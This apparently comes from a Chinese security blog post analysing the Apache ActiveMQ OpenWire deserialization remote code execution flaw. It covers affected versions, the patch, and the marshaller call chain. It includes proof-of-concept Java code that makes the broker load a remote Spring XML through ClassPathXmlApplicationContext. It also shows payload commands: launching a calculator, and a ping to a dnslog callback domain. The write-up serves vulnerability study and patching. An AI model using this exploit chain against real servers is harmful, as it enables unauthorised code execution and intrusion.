ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。
Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ在默认安装下开放了61616服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行。
请关注厂商的修复版本,并及时更新到最新版本。
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
open
-a
calculator
python启动web服务,将poc放入pom.xml文件中
修改poc并执行
我们先看补丁
https://github.com/apache/activemq/blob/1d0a6d647e468334132161942c1442eed7708ad2/activemq-openwire-legacy/src/main/java/org/apache/activemq/openwire/v4/ExceptionResponseMarshaller.java
发现新增类OpenWireUtil加入了validateIsThrowable方法
然后经过⼀些简单的搜索可以发现 ExceptionResponseMarshaller 这个类, 它是 BaseDataStreamMarshaller 的⼦类
其 tightUnmarshal/looseUnmarshal ⽅法会调⽤ tightMarshalThrowable/looseMarshalThrowable, 最终调⽤到 BaseDataStreamMarshaller 的 createThrowable ⽅法, 后者可以调⽤任意类的带有⼀个 String 参数的构造⽅法
ExceptionResponseMarshaller 顾名思义就是对 ExceptionResponse 进⾏序列化/反序列化的类
ExceptionResponse 的定义如下
回到上⾯的 BaseDataStreamMarshaller
有若⼲ Marshal/unmarshal ⽅法
这⾥以 tightUnmarsalThrowable 为例
⽅法内部会获取 clazz 和 message, 然后调⽤ createThrowable 找到对应的 tightMarshalThrowable
o 就是 ExceptionResponse ⾥⾯的 exception 字段 (继承了 Throwable), 然后分别将 o 的 className 和 message 写⼊序列化流
到这⾥思路其实已经差不多了, 我们只需要构造⼀个 ExceptionResponse 然后发给 ActiveMQ 服务器, 之后 ActiveMQ 会⾃⼰调⽤ unmarshal, 最后触发 createThrowable
然后看看如何发送 ExceptionResponse 即可
简单demo下
package com.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class Demo {
public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new
ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession();
Destination destination = session.createQueue("tempQueue");
MessageProducer producer = session.createProducer(destination);
Message message = session.createObjectMessage("123");
producer.send(message);
connection.close();
}
}
然后随便打⼏个断点试试 (注意在⼀次通信的过程中 ActiveMQ 会 marshal/unmarshal ⼀些其它的数据, 调试的时候记得判断)
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal() 先获取 dataType, 然后根据它的值去 this.dataMarshallers ⾥⾯获取对应的序列化器
这个 dataType 其实对应的就是 Message 类内部的 DATA_STRUCTURE_TYPE 字段 在 demo 中我们发送的是⼀个 ObjectMessage (ActiveMQObjectMessage) 对象, 它的 dataType 是 26
⽽ ExceptionResponse 的 dataType 是 31, 对应上图中的 ExceptionResponseMarshaller
获取到了对应的序列化器之后, 会调⽤它的 tightUnmarshal/looseUnmarshal ⽅法进⼀步处理 Message 内容
ExceptionResponseMarshaller 也有 marshal ⽅法, 所以思路就改成了如何去发送⼀个经由这个 marshaller 处理的 ExceptionResponse
后⾯开始调试 client 发数据的过程
给 OpenWireFormat 的 marshal 系列⽅法打个断点
调⽤栈往前翻可以找到 TcpTransport 这个类
它的 oneway ⽅法会调⽤ wireFormat.marshal() 去序列化 command
command 就是前⾯准备发送的 ObjectMessage, ⽽ wireFormat 就是和它对应的序列化器
那么我们只需要⼿动 patch 这个⽅法, 将 command 改成 ExceptionResponse, 将 wireFormat 改成 ExceptionResponseMarshaller 即可
在当前源码⽬录下新建⼀个 org.apache.activemq.transport.tcp.TcpTransport 类, 然后重写对应的逻辑,这样在运⾏的时候, 因为 classpath 查找顺序的问题, 程序就会优先使⽤当前源码⽬录⾥的 TcpTransport 类
然后是 createThrowable ⽅法的利⽤, 这块其实跟 PostgreSQL JDBC 的利⽤类似, 因为 ActiveMQ ⾃带 spring 相关依赖, 那么就可以利⽤ ClassPathXmlApplicationContext 加载 XML 实现 RCE
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable obj = new
ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
this.wireFormat.marshal(response, this.dataOut);
this.dataOut.flush();
}
因为在 marshal 的时候会调⽤ o.getClass().getName() 获取类名, ⽽ getClass ⽅法⽆法重写 (final), 所以我在这⾥同样 patch 了 org.springframework.context.support.ClassPathXmlApplicationContext, 使其继承 Throwable 类
ping
chfo6f.dnslog.cn